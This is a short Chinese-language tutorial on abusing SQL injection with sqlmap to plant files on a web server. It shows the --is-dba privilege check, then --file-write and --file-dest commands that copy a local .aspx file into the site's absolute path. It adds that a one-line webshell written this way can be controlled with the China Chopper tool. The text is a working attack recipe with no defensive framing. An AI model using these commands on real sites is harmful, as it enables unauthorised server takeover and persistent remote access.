权限:必须为dba权限

file-write 从本地写入

file-dest 写入目标路径

判断是否是dba权限(显示TRUE或者FALSE,TRUE即为dba权限,反之不是)

sqlmap.py -u “http://www.xx.com/aa.aspx?id=123” --is-dba

写入文件至站点目录

sqlmap.py -u “http://www.xx.com/aa.aspx?id=123” --file-write=本地文件路径 --file-dest 网站路径(写入路径)+"/写入的文件名"

sqlmap.py -u “http://www.xx.com/aa.aspx?id=123” --file-write=F:/a.aspx --file-dest D:/虚拟目录/Front/cx.aspx

D:/虚拟目录/Front 为网站的物理路径

写入成功后,即可通过浏览器访问,若为一句话木马则可使用中国菜刀进行连接。

注:网站路径必须为网站的真实物理路径(即绝对路径。也就是从盘符开始的路径),否则无法写入数据。